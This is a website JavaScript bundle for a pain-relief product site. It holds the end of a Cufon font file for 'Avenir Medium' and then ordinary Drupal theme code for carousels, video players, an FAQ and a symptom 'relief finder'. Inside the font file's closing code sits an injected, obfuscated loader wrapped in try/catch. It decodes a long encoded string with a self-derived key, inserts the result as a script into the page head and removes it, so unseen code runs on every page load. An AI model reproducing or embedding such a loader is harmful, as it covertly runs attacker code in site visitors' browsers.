,21,1,27v10,-21,37,-36,65,-29r-1,35v-39,-8,-65,9,-65,52r0,86r-33,0","w":133,"k":{",":33,".":33,"c":6,"\u00e7":6,"d":6,"e":6,"\u00e9":6,"\u00ea":6,"\u00eb":6,"\u00e8":6,"g":6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f4":6,"\u00f6":6,"\u00f2":6,"\u00f5":6,"q":6,"-":20}},{"d":"77,-41r-30,89r-30,0r25,-89r35,0xm26,-149v0,-13,11,-23,24,-23v13,0,24,10,24,23v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":100},{"d":"33,0r0,-255r164,0r0,33r-130,0r0,75r121,0r0,33r-121,0r0,82r137,0r0,32r-171,0xm51,-303v0,-26,45,-26,45,0v0,13,-10,23,-23,23v-13,0,-22,-10,-22,-23xm125,-303v0,-26,44,-26,44,0v0,13,-9,23,-22,23v-13,0,-22,-10,-22,-23","w":219},{"d":"140,-261r-115,277r-25,-10r115,-277","w":140},{"d":"24,102r0,-273r33,0v1,8,-2,19,1,25v44,-60,155,-17,146,61v8,79,-102,119,-147,61r0,126r-33,0xm113,-145v-35,0,-56,25,-56,60v0,35,21,59,56,59v35,0,56,-24,56,-59v0,-35,-21,-60,-56,-60","w":219},{"d":"0,0r113,-255r31,0r109,255r-40,0r-26,-63r-121,0r-25,63r-41,0xm78,-93r97,0r-49,-117xm103,-269r37,-52r46,0r-53,52r-30,0","w":253},{"d":"109,-264r0,26v-46,-9,-34,46,-34,86v0,34,-23,44,-30,49v8,1,30,11,30,48v0,36,-17,93,34,85r0,26v-43,3,-64,-2,-64,-55v0,-38,1,-92,-31,-90r0,-28v34,2,31,-59,31,-99v0,-43,24,-52,64,-48","w":119},{"d":"27,-171r32,0r0,195v0,18,0,62,-52,62v-7,0,-14,0,-21,-3r4,-30v22,8,37,-2,37,-30r0,-194xm19,-232v0,-13,11,-24,24,-24v13,0,24,11,24,24v0,13,-11,24,-24,24v-13,0,-24,-11,-24,-24","w":86},{"d":"8,-200r20,-20r18,17v33,-23,75,-23,108,0r18,-17r21,20r-18,18v24,32,24,77,0,109r18,17r-21,21r-18,-18v-32,24,-76,24,-108,0r-18,18r-20,-21r17,-17v-23,-32,-23,-77,0,-109xm36,-128v0,36,28,65,64,65v36,0,65,-29,65,-65v0,-36,-29,-64,-65,-64v-36,0,-64,28,-64,64"},{"d":"12,-29r28,-24v23,39,105,38,105,-15v0,-59,-126,-23,-126,-122v0,-30,26,-71,87,-71v28,0,54,6,73,29r-28,25v-9,-13,-25,-22,-45,-22v-38,0,-50,23,-50,39v0,64,126,26,126,118v0,85,-129,102,-170,43"},{"d":"45,-130r-20,-20v37,-44,138,-27,139,32r2,118r-29,0v-2,-8,1,-19,-2,-26v-25,47,-119,39,-119,-21v-1,-52,58,-62,118,-59v11,-49,-70,-52,-89,-24xm134,-82v-37,-1,-84,1,-85,33v0,19,14,27,36,27v40,0,51,-28,49,-60xm120,-209v-25,1,-60,-31,-70,2r-17,0v3,-19,15,-38,36,-38v25,0,57,33,68,-1r17,0v-3,18,-13,37,-34,37","w":186},{"d":"27,0r0,-121r-26,0r0,-24r26,0r0,-110r89,0v108,0,134,81,134,128v0,65,-49,127,-140,127r-83,0xm62,-121r0,89v83,7,149,-16,151,-95v0,-32,-17,-95,-100,-95r-51,0r0,77r84,0r0,24r-84,0","w":266},{"d":"86,0r0,-222r-82,0r0,-33r199,0r0,33r-82,0r0,222r-35,0","w":206,"k":{"\u00fc":36,"\u0161":40,"\u00f2":40,"\u00f6":40,"\u00e8":40,"\u00eb":40,"\u00ea":40,"\u00e3":40,"\u00e5":40,"\u00e0":40,"\u00e4":40,"\u00e2":40,"w":40,"y":40,"\u00fd":40,"\u00ff":40,"A":33,"\u00c6":33,"\u00c1":33,"\u00c2":33,"\u00c4":33,"\u00c0":33,"\u00c5":33,"\u00c3":33,",":40,".":40,"c":40,"\u00e7":40,"e":40,"\u00e9":40,"o":40,"\u00f8":40,"\u0153":40,"\u00f3":40,"\u00f4":40,"\u00f5":40,"-":46,"a":40,"\u00e6":40,"\u00e1":40,"r":33,"s":40,"u":36,"\u00fa":36,"\u00fb":36,"\u00f9":36,":":40,";":40}},{"d":"150,6v-78,0,-133,-57,-133,-133v0,-76,55,-134,133,-134v78,0,133,58,133,134v0,76,-55,133,-133,133xm150,-26v58,0,96,-45,96,-101v0,-56,-38,-102,-96,-102v-58,0,-96,46,-96,102v0,56,38,101,96,101xm126,-269r37,-52r47,0r-54,52r-30,0","w":299},{"d":"162,-153r0,26r-49,0r-26,132v-5,41,-55,59,-91,38r13,-26v26,14,44,-5,48,-27r22,-117r-39,0r0,-26r44,0v7,-46,18,-108,65,-106v15,0,31,2,42,8r-14,27v-23,-11,-45,-5,-52,31r-7,40r44,0"},{"d":"24,82r0,-253r33,0v3,54,-17,145,39,145v27,0,47,-17,47,-57r0,-88r33,0r0,171r-33,0r0,-26v-10,25,-55,38,-86,24r0,84r-33,0"},{"d":"28,-255r35,0r0,156v0,32,16,73,64,73v48,0,64,-41,64,-73r0,-156r34,0r0,162v0,59,-42,99,-98,99v-56,0,-99,-40,-99,-99r0,-162xm103,-269r37,-52r46,0r-53,52r-30,0","w":253},{"d":"33,0r0,-255v75,0,166,-11,166,64v0,30,-20,46,-44,57v31,2,55,29,55,63v0,77,-95,74,-177,71xm67,-225r0,76v44,0,92,7,95,-38v2,-41,-52,-41,-95,-38xm67,-119r0,89v50,-2,101,12,106,-43v4,-49,-55,-48,-106,-46","w":226}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-187-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("TCszFoMi:+K5T1%Z}oa8OCOK4SMzsoK54S,8:+WmsRwvr7i#4X@U{COU4X@U{C)S4X@U{c^8pRuz{y-GMouk4X@U{C)|:8hp4a|p}cjUrG%p}cjuMG-p}cjUroOBrzuz{y-YMzuz{y-%MRuz{y-#sRuz{y)7{@Mp}cjUroWp}cjUrcYp}cjUsGWp}cjUrGWpO%uz{y-9sauz{y-#M8-p}cjUs+sp}cjUr7}p}cjUr7-p}cjUrSsp}cjUso^YR8Rp}cjuMyap}cjUrc,p}cjUsc-p}cjuMc,iMRuz{y-o{auz{y-#`auz{y-GrcMp}cjUr+aS4X@U{cru4X@U{C^zR%uz{y-#{Ruz{y-%sC}p}cjUsy%p}cjuMc{STzuz{y-9Mauz{y-%rRuz{y-Grzuz{y-9{Ruz{y-os%uz{y-Yso-p}cjuMSRp}cjUr7W|4X@U{Ca#4X@U{Cr|4X@U{Cs#kG)o4X@U{Cru4X@U{C{84X@U{C@|[%uz{y-GMRuz{y-Gsauz{y-orRuz{y-G{zgp}cjUr7Yp}cjUscYp}cjUsysp}cjUsCOK4X@U{C@8@%uz{y-9rzuz{y-%{Ruz{y-Ys@|p}cjUsoRp}cjUsypm{9}R,azC4X@U{C,onGKanauz{y-9{%uz{y-%r9WYc@ap}cjUrG,:F8u.+auz{y-G`cj5:auz{y-%Ma-p}cjUsG,p}cjUsGsp}cjuMSWj-1y)aCXO,T_{M`k^Wnc@R+4rs:Fp}[.~Y#G9%omBhQ&vg5dUu87izS*e|lZwK6$__Ruz{y-%Mzuz{y-or8%p}cjUs+Mp}cjUsyYj4X@U{CW%Mzuz{y-Y{7Yp}cjuM7~i4X@U{CR%4X@U{Cre@Ruz{y-Y{4@l:+zp}cjUr+Wp}cjUrGsp}cjUsGMs.Ruz{y-#rRuz{y-%M%uz{y-#rSW*sRuz{y-oMRuz{y-Y{auz{y-oM*{G4X@U{C)z[X|p}cjUrSRp}cjUsCs5.yup}cjUr+MocC,p}cjUrG{|n4OZ4X@U{CM#41KU4X@U{C{u[Shp}cjUrcWc4X@U{C@74X@U{C^URauz{y-9{zuz{y)|{%uz{y-#MRuz{y-9r@O#_mMUFC%iT1O#Tnuhkcjvpyz#_mjvFyzU_ou%Fo}i:1umk+O5s#|mFX%U:X{K[*iZ:+rBr#|d:7id4#~$`m}*}zU5TcwBk7hYsXshFaU5rSKg.Ca9}o%v41|G:4Wp_oMdFRU5rm,wr+WS:+Ugp*Wm41|Uso%ls4,p_oMdF4uYsXshFaU5FCKGr+uBF*Mi.yOuM%U5{G@z41eSMRU5{Gj|.Ca9}o%vFoR*_4MiszU5pCsh[oR841|GFSih,1Kh_mW%p*^BFCKGr4WhFSe5:CK7}C|YF+@hT+sdp#~Z:cuv`8v&:n%m+SMF:Rz}k4-F:RzKTn~h")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":200,"face":{"font-family":"Avenir Medium","font-weight":550,"font-stretch":"normal","units-per-em":"360","panose-1":"2 11 6 3 2 2 3 2 2 4","ascent":"272","descent":"-88","x-height":"4","bbox":"-17 -333 346 102","underline-thickness":"18","underline-position":"-18","stemh":"28","stemv":"32","unicode-range":"U+0020-U+0192"}}));
;
//PUT ALL THE JS FUNCTIONS, AND CODES INSIDE THE (function ($) {* INSIDE HERE *})(jQuery);
(function ($) {
  $(document).ready(function() {
    initFAQ();
    initCarousel();
    initReliefFinder();
    initJqTransform();
    megaNavigationBehavior();
    initSavingsForYouCarousel();
    overridePrint();
    removeMessagesTestimonials();
    initVideoPage();
    productDetailsTab();
	  shareYourStory(); 
  });

  function shareYourStory() {
	if($("div#block-menu-menu-trusted-pain-relief-menu").length > 0) {
	  if(window.location.href.split("share-your-story")[1] == '/thank-you') {
		 $("div#block-menu-menu-trusted-pain-relief-menu li.last a[title='Share Your Story']").addClass("active");
	  }
	}
  }
  
  function productDetailsTab() {
  
    //Behavior to see a product form or another.
    $('ul.product-detail-product-forms li a').click(function() {
      var tabId = $(this).attr('name');      
      $('div.product-detail-content').hide();
      $('div#' + tabId).show();
      
      $('div.product-detail-content ul.product-detail-product-forms li').removeClass('not-active active');
      $('div.product-detail-content ul.product-detail-product-forms').children().not('.' + tabId).addClass('not-active');
      $('div.product-detail-content ul.product-detail-product-forms li.' + tabId).addClass('active');     
      Cufon.refresh();      

      //Get advil product name based on the url
      var advilName = window.location.pathname.replace('/','') + '-';      
      //Remove the advil name from the selected tab name and add it to the hash
      tabId = tabId.replace(advilName,'');
      window.location.hash  = tabId;
      return false;
    });
    
    // If the window have a hash, show that div
    var hash = window.location.hash;
    if(hash){
      var advilName = window.location.pathname.replace('/','') + '-';      
      hash = hash.split('#')[1];
      tabId = advilName + hash;  
      $('a[name=' + tabId + ']').trigger('click');
    }
  }

  function initSavingsForYouCarousel() {
    if ($('#savings-for-you-carousel').length > 0) {
      var firstTime = true;
      //Show controllers if have more then one coupon
      if( $('#savings-for-you-carousel').children().length > 1) {
        $('div#couponsCarousel_controllers').show();
      }
      $('#savings-for-you-carousel').cycle({
        fx      : 'scrollHorz',
        prev    : '#couponsCarousel_Prev',
        next    : '#couponsCarousel_Next',
        timeout : 0,
        speed   : 500,
        onPrevNextEvent: function(isNext, zeroBasedSlideIndex, slideElement) {
          setTimeout(function(){
            animateSlideSavingsForYouCarousel(slideElement)
          }, 500);
        },
        before: function(currSlideElement, nextSlideElement, options, forwardFlag) {
          $('div.views-field-field-coupon-free-value-image',currSlideElement).fadeOut(100);
        },
        after: function(currSlideElement, nextSlideElement, options, forwardFlag) {
          if(firstTime){
            animateSlideSavingsForYouCarousel(currSlideElement);
            firstTime = false;
          }
        }
      });
    }
  }
  
  function animateSlideSavingsForYouCarousel(currSlideElement) {
    $('div.views-field-field-coupon-free-value-image',currSlideElement).fadeIn(200);
    
    //Get correct url for the coupon
    var coupon_url;
    if($('div.coupon-external-url', currSlideElement).length) {
      coupon_url = $('div.coupon-external-url', currSlideElement).html();
    }
    else {
      var coupon_id = $('div.coupon-id', currSlideElement).html();
      coupon_url = '/' + Drupal.settings.coupon.form_url + '/' + coupon_id;
    }
    $("div.view-display-id-block_coupons_savings_for_you a.btn-get-a-coupon").attr('href', coupon_url);
  }

  function initCarousel() {

    // Center thumbnails pager
    var thumbs = jQuery('#slideshow');

    var userInteracted = false;
    if ($('#rotation_promotion_carousel > ul').length) {
      var carousel = $('#rotation_promotion_carousel > ul').cycle({
        fx                : 'scrollHorz',
        timeout           : 7500,
        speed             : 400,
        pager             : '#slideshow',
        prev              : '#rotation_promotion_carousel_previous',
        next              : '#rotation_promotion_carousel_next',
        pagerAnchorBuilder: function(idx, slide) {
          // return selector string for existing anchor
          return '#slideshow li:eq(' + idx + ')';
        },
        onPrevNextEvent: function(isNext, zeroBasedSlideIndex, slideElement) {
          userInteracted = true;
        },
        onPagerEvent: function(zeroBasedSlideIndex, slideElement) {
          userInteracted = true;
        },
        after: function(currSlideElement, nextSlideElement, options, forwardFlag) {
          if (userInteracted) {
            pauseRotationPromotionCarousel();
          }
        }
      });

      initCarouselVideoItems();

      carousel.css('visibility', 'visible');
      thumbs.css('visibility', 'visible');
    }
  }

  /**
   * Add video player to rotation promotion carousel, if it exists
   */
  function initCarouselVideoItems() {
    var videos = $('div.rotation_promotion_video');

    if (videos.length > 0) {
      videos.each(function(index) {
        var videoTag = $('<video></video>').addClass('videoplayer').attr({
          id : 'player-' + index
        });

        if (Drupal.settings.video[index].video_url.ogg) {
          var oggSourceTag = $('<source></source>').attr({
            src  : Drupal.settings.video[index].video_url.ogg,
            type : 'video/ogg'
          });
          videoTag.append(oggSourceTag);
        }
        var mp4SourceTag = $('<source></source>').attr({
          src  : Drupal.settings.video[index].video_url.mp4,
          type : 'video/mp4'
        });
        videoTag.append(mp4SourceTag);
        videos.append(videoTag);
      });

      $('video.videoplayer').each(function(index) {
        jwplayer($(this).attr('id')).setup({
          height: 353,
          width : 625,
          skin  : Drupal.settings.basePath + Drupal.settings.themePath + '/video_player_skin/advil.zip',
          modes : [
            {
              type : 'html5',
              skin : Drupal.settings.basePath + Drupal.settings.themePath + '/video_player_skin/advil.xml'
            },
            {
              type: 'flash',
              src: Drupal.settings.basePath + Drupal.settings.themePath + '/swf/player.swf'
            }
          ],
          controlbar : {
            idlehide : true
          },
          image  : Drupal.settings.video[index].poster_src,
          events : {
            onBuffer: function () {
              pauseRotationPromotionCarousel();
              removeVideoPoster();
            },
            onPlay: function() {
              // trackOmniturePlay();
            }
          }
        });
      });
    }
  }

  /**
   * Pause automatic carousel.
   */
  function pauseRotationPromotionCarousel() {
    $('#rotation_promotion_carousel > ul').cycle('pause');
  }

  /**
   * Removes the preview image when the video is played
   */
  function removeVideoPoster() {
    $('img[id*="_jwplayer_display_image"]').remove();
  }


  /**
   * Get parameter from url query string
   * http://www.bloggingdeveloper.com/post/JavaScript-QueryString-ParseGet-QueryString-with-Client-Side-JavaScript.aspx
   */  
  function getQuerystring(key, default_)
  {
    if (default_==null) default_="";
    key = key.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
    var regex = new RegExp("[\\?&]"+key+"=([^&#]*)");
    var qs = regex.exec(window.location.href);
    if(qs == null)
      return default_;
    else
      return qs[1];
  }
  
  
  function initVideoPage() {
    if ($('div#html5-video-player').length > 0) {
      $('div#html5-video-player').each(function() {
        var videoTag = $('<video></video>').addClass('videoplayer').attr({
          id : 'video-player',
          rel: $(this).attr('rel')
        });

        if (Drupal.settings.video.video_url.ogg) {
          var oggSourceTag = $('<source></source>').attr({
            src: Drupal.settings.video.video_url.ogg,
            type: 'video/ogg'
          });
          videoTag.append(oggSourceTag);
        }
        var mp4SourceTag = $('<source></source>').attr({
            src: Drupal.settings.video.video_url.mp4,
            type: 'video/mp4'
        });
        videoTag.append(mp4SourceTag);
        $('div#html5-video-player').append(videoTag);
      });

      var autoplay = false;
      var play = getQuerystring('play');
      if(play == '1'){
        autoplay = true;
      }

      var videoTitle = $('div#html5-video-player').attr('rel');
      jwplayer('video-player').setup({
        autostart: autoplay,
        height: 323,
        width: 575,
        image: Drupal.settings.video.poster_src,
        skin: Drupal.settings.basePath + Drupal.settings.themePath + '/video_player_skin/advil.zip',
        events: {
          onBuffer: function() {
            removeVideoPoster();
          },
          onPlay: function(states) {
            trackOmnitureVideoPlay(videoTitle, states);
          },
          onComplete: function(states) {
            trackOmnitureVideoComplete(videoTitle);
          }
        },
        controlbar: {
          idlehide: true
        },
        modes: [
          {type: 'html5',
            skin: Drupal.settings.basePath + Drupal.settings.themePath + '/video_player_skin/advil.xml'
          },
          {type: 'flash',
            src: Drupal.settings.basePath + Drupal.settings.themePath + '/swf/player.swf'
          }
        ]
      });
      $('div#html5-video-player_video_wrapper').css('position','static');
    }
  }
  
  $(document).click(function(e) {
    if ($('#symptons-itens-container').length) {
      if (!$('#symptons-itens-container').is(':hidden')) {
        var offset = $('#symptons').offset();
        var right = (offset.left + $('#symptons-itens-content').width());
        var bottom = (offset.top + $('#symptons-itens-content').height() + 10);
        if (e.pageX < offset.left || e.pageX > right || e.pageY < offset.top || e.pageY > bottom) {
          $('#symptons-itens-container').hide();
        }
      }
    }
  });

  // Omniture video start tracking
  function trackOmnitureVideoPlay(videoTitle, states) {
    if (states.oldstate == 'BUFFERING') {
      if (typeof(Drupal.settings.omniture) != 'undefined') {
        s.linkTrackEvents = 'event12,event19';
        s.linkTrackVars = 'events,eVar19,prop19';
        s.events = 'event12,event19';

        s.eVar19 = s.prop19 = s.pageName + ' : play : ' + videoTitle.replace(/[^\w-\s\/:]/g, '').toLowerCase();

        s.tl(this, 'o', s.prop19);
        s.linkTrackEvents = 'None';
        s.linkTrackVars   = 'None';
      }
    }
  }  
  
  // Omniture video complete tracking
  function trackOmnitureVideoComplete(videoTitle) {
    if (typeof(Drupal.settings.omniture) != 'undefined') {
      s.linkTrackEvents = 'event13';
      s.linkTrackVars = 'events';
      s.events = 'event13';

      var videoComplete = s.pageName + ' : video complete : ' + videoTitle.replace(/[^\w-\s\/:]/g, '').toLowerCase();

      s.tl(this, 'o', videoComplete);
      s.linkTrackEvents = 'None';
      s.linkTrackVars   = 'None';
    }
  }  
  
  
  function initJqTransform() {
  /* Where to buy */
    var formBuyNow = $("div#gmapslivesearch-buy-now-form");
    if (formBuyNow.length) {
      formBuyNow.jqTransform('');
    }

    var formFindStore = $('form.gmapslivesearch-find-online-form, #gmapslivesearch-buy-now-form');
    if (formFindStore.length) {
      formFindStore.jqTransform('');
    }

  /*Sign Up*/
    if ($('form#webform-client-form-47').length) {
      $('form#webform-client-form-47').jqTransform('');
    }

  /*Share Your Story*/
    if($("form#testimonial-submission-gateway").length > 0){
      $("form#testimonial-submission-gateway").jqTransform('');
    }

  /*Sign Up Coupons*/
    if ($("form#webform-form-coupon-sign-up").length > 0){
      $("form#webform-form-coupon-sign-up").jqTransform('');
    }

  /*Email to a Friend fields*/
    if($('body.page-send-to-a-friend form#communication-tools-send-form').length > 0){
      $('body.page-send-to-a-friend form#communication-tools-send-form').jqTransform('');
    }

  /*Relief Finder Selects*/
    if($('ul#symptons_itens_list').length > 0){
      $('ul#symptons_itens_list').jqTransform('');
    }
    
  /*FAQs*/
    if($('div#block-views-exp-faqs-faqs-page').length > 0){
      $('div#block-views-exp-faqs-faqs-page').jqTransform('');
    }

    if($('div.views-exposed-faq-filter').length > 0){
      $('div.views-exposed-faq-filter').jqTransform('');
    }
    
  /*Sign Up*/
    if($('form.webform-signup-email-updates').length > 0){
      $('form.webform-signup-email-updates').jqTransform('');
    }
  }
 
  /*
   * Cufon
  */
  Drupal.behaviors.cufon = {
    attach: function() {
      Cufon.replace('.avenir-heavy, .avenir-std-heavy, h1, h2, span.ui-dialog-title, div#gmapslivesearch-box-wrapper h3 ', {
        hover: true,
        fontFamily: 'Avenir Heavy'
      });
      Cufon.replace('.avenir-medium, .avenir-std-medium, h3, h4, h2.field-content, h2.medium, .faqs-menu h2, h6, div.rotation_promotion_text p, p.thead, div.product-labeling-dialog th', {
        hover: true,
        fontFamily: 'Avenir Medium'
      });
      Cufon.replace('.avenir-light, .avenir-std-light, a.light, div#block-related-content-related-content li > a', {
        hover: true,
        fontFamily: 'Avenir Light'
      });
      Cufon.replace('.avenir-medium-nav', {
        hover: true,
        fontFamily: 'Avenir Medium'
      });
      Cufon.replace('div#gmapslivesearch-box-wrapper h3', {
        hover: true,
        fontFamily: 'Avenir Heavy'
      });
      $('body').append('<script type="text/javascript">Cufon.now();</script>');
    }
  }

  function overridePrint() {
    $('a#communication_tools_print_link').unbind('click');
    $('a#communication_tools_print_link').click(function(){
      var printProperties = {};
      if (Drupal.settings.communication_tools.site_logo_print_path != '') {
        printProperties.logo = Drupal.settings.communication_tools.site_logo_print_path;
      }
      var content_to_print = $('div#content').clone();
      $('.slider-wrapper', content_to_print).remove();
      $('a.control-button', content_to_print).remove();

      printProperties.overrideElementCSS = [Drupal.settings.basePath + Drupal.settings.themePath + '/styles/print.css',
        { href:Drupal.settings.basePath + Drupal.settings.themePath + '/styles/print.css', media:'print' }
      ];

      content_to_print.printElement(printProperties);
      return false;
    });
  }

  /*
   * Relief Finder
   */
  function initReliefFinder() {
    if ($("div#relief_finder_container").length > 0) {
      var relief_finder_symptoms_list = $('ul#symptons_itens_list');

      // Create symptoms list
      $.each(Drupal.settings.relief_finder, function(key, value) {
        relief_finder_symptoms_list.append('<li><input type="radio" value="' + key + '" name="symptoms" id="' + key + '-symptom" /> <label for="' + key + '-symptom" >' + value.term_name +'</label> </li>');
      });
      //Enable submit button
      $('input', relief_finder_symptoms_list).click(function() {
        $('input#submit_relief_finder').removeClass('submit_disabled');
      });
      //Show results
      $('input#submit_relief_finder').click(function() {
        var selected_symptom =  $('input:radio[name=symptoms]:checked');
        var symptom_id = selected_symptom.val();
        selected_symptom.parents('li').addClass('selected');
        if(symptom_id){
          getReliefFinderResult(symptom_id);
        }
        else {
          return false;
        }
      });
      //Find other product
      $('a#find_another_product_link').click(function(){
        $('div#relief_finder_container').show();
        $('div#relief_finder_recomendation_container').hide();
		    $('ul#symptons_itens_list input[type="radio":checked]').each(function(){
		      $(this).checked = false;
		    });
		    $('ul#symptons_itens_list li').removeClass('selected');
        $('a.jqTransformRadio').removeClass('jqTransformChecked');
        $.cookie('relief_finder_result', null);
        return false;
      });

      //If the cookie is set, relief finder starts with the previous result found.
      var previous_result = $.cookie('relief_finder_result');
      if (previous_result != null) {
        getReliefFinderResult(previous_result, false);
      }
    }
  }
  
  function getReliefFinderResult(symptom_id, set_cookie) {
    var symptom_selected = Drupal.settings.relief_finder[symptom_id];
    var primary_recommendation = symptom_selected.primary_recommendation;
    var secondary_recommendation = symptom_selected.secondary_recommendation;
    
    // Set Cookie
    if (set_cookie == undefined) {
      set_cookie = true;
    }
    if (set_cookie) {
      $.cookie('relief_finder_result', symptom_id, {expires: 365});
    }
    //Build result
    buildReliefFinderResult(primary_recommendation, secondary_recommendation);
  }
  
  function buildReliefFinderResult(primary_recommendation, secondary_recommendation) {
    //Primary recommendation
    $('div#relief_finder_recomendation_content div.recommend_content')
      .html(primary_recommendation.product_image + '<div class="relief_finder_product_information"><h3>' + primary_recommendation.title + '</h3>' + primary_recommendation.link_learn_more + '</div>');

    //Second recommendation
    $('div#relief_finder_recomendation_content div.also_try').hide();
    if (secondary_recommendation != null) {
      $('div#relief_finder_recomendation_content div.also_try div.also_try_content')
        .html(secondary_recommendation.product_image + '<div class="relief_finder_product_information"><h3>' + secondary_recommendation.title + '</h3>' + secondary_recommendation.link_learn_more + '</div>');
      $('div#relief_finder_recomendation_content div.also_try').show();
    }

    $('div#relief_finder_container').hide();
    $('div#relief_finder_recomendation_container').show();
  }


  // [END RELIEF FINDER]

  Drupal.behaviors.textResizer = {
    attach: function (context) {
      if ($('.article-type-size-block', context).length == 0) return false;

      var textContainer = getTextToResizeContainer();
      var defaultResizerFontSize = Drupal.settings.article_type_size.type_size_default_font_size;
      var minResizerFontSize = Drupal.settings.article_type_size.type_size_min_font_size;
      var maxResizerFontSize = Drupal.settings.article_type_size.type_size_max_font_size;

      $('.article-type-size-block', context).each(function(){
        //Decrease the font size
        $('a.fade-font-size', this).click(function(){
          newFontSize = parseInt(textContainer.css('font-size')) - 1;
          if (newFontSize >= minResizerFontSize) {
            resizeText(textContainer, newFontSize);
          }
          return false;
        });

        //Increase the font size
        $('a.expand-font-size', this).click(function(){
          newFontSize = parseInt(textContainer.css('font-size')) + 1;
          if (newFontSize <= maxResizerFontSize) {
            resizeText(textContainer, newFontSize);
          }
          return false;
        });
      });

      resizeText(textContainer, defaultResizerFontSize);

      function resizeText(textContainer, fontSize) {
        textContainer.css('font-size', fontSize + 'px');
      }

      function getTextToResizeContainer() {
        return $('.article-content', context);
      }
    }
  }

  // MEGA NAVIGATION

  // This function is executed in the $(document).ready function
  function megaNavigationBehavior() {
    $("div#navigation ul.menu li, div#mega_navigation").hover(function() {
      handleMegaNavigationShow($(this));
      Cufon.refresh('.avenir-medium-nav');
    }, function() {
      handleMegaNavigationHide($(this));
    });
  }

  var is_being_displayed = false;
  var megaNavigationTimeout = undefined;

  $.fn["handleMegaNavigation"] = function() {
    if (!is_being_displayed) {
      $("div#mega_navigation div.region-mega-navigation > div").hide();
      $('div#mega_navigation').hide();
      $("div#navigation ul.menu a").removeClass('nav-hover');
      Cufon.refresh('.avenir-medium-nav');
    }
  }

  function handleMegaNavigationHide(context) {
    if (is_being_displayed) {
      is_being_displayed = false;
      clearTimeout(megaNavigationTimeout);
      megaNavigationTimeout = setTimeout("jQuery().handleMegaNavigation()", 100);
    }
  }

  function handleMegaNavigationShow(context) {
    var selected_menu_item_class = /[a-z\-]*\-menu/.exec($('a', context).attr('class'));
    if (selected_menu_item_class) {
      selected_menu_item_class = selected_menu_item_class[0];
      $("div#navigation ul.menu a").removeClass('nav-hover');
      $("div#navigation ul.menu a." + selected_menu_item_class).addClass('nav-hover');
      $("div#mega_navigation div.region-mega-navigation > div").hide();
      $("div#mega_navigation div.region-mega-navigation > div." + selected_menu_item_class).show();
    }

    is_being_displayed = true;

    $('div#mega_navigation').show();
  }

  // [End of] MEGA NAVIGATION
  
  // FAQ MEGA NAVIGATION
  function initFAQ() {
    var exposed_faq_filter = $('div#mega_navigation form#views-exposed-form-faqs-faqs-page');

    // Clone the input search content to looking for question and answer
    $('div.views-submit-button input', exposed_faq_filter).click(function() {
      $('div.form-item-field-faq-question-value input', exposed_faq_filter).attr('value', $('div.form-item-search input', exposed_faq_filter).attr('value'));
    });
   
    // Change - Any - label to View All
    if($('div#edit-tid-all a', exposed_faq_filter).length > 0) {
  	  $('div#edit-tid-all a', exposed_faq_filter).text(Drupal.t('View All'));
    } else {
      $('div#edit-tid-all', exposed_faq_filter).text(Drupal.t('View All'));
    }

    // Change the urls of filter to exclude the inputs text content
    $('div.views-exposed-widget a', exposed_faq_filter).each(function() {
      var index = $(this).attr('href').indexOf('tid');
      if(index >= 0) {
        var tid = $(this).attr('href').slice(index);
        var url = '/' + Drupal.settings.faq.faq_path + '?' + tid;
        $(this).attr('href', url);
      }
    });
    
    // Add link to view all filter option
    if($('div.views-exposed-widget div#edit-tid-all a', exposed_faq_filter).length == 0) {
      var url = Drupal.settings.faq.faq_path + '?tid=All';
      var view_all = $('div.views-exposed-widget div#edit-tid-all', exposed_faq_filter);
      var text = view_all.html();
      var a = $('<a href=' + url +'>' + text + '</a>');
      view_all.html(a);
    }
    
    if($('input#edit-search', exposed_faq_filter).length > 0) {
      var default_search_text = Drupal.t('Search FAQs');
      
      var input = $('input#edit-search', exposed_faq_filter);
      
      input.focus(function() {
        if (input.attr('value') == default_search_text) {
          input.css("font-style", "normal");
          input.attr('value', '');
        }
      });
      
      input.focusout(function() {
        if (input.attr('value') == '') {
          input.attr('value', default_search_text);
          input.css("font-style", "italic");
        }
      });
      
      var input_value = input.attr('value');
      if(input_value == '') {
        input.attr('value', default_search_text);
        input.css("font-style", "italic");
      }
    }
  }
  // [End of] FAQ MEGA NAVIGATION

  /*
   * Hide the div messages on share your story page
   */
  function removeMessagesTestimonials() {    
    if ($('p.share-your-story-story-description').length > 0) {      
      $('div.messages').hide();      
    }
  }
})(jQuery);;

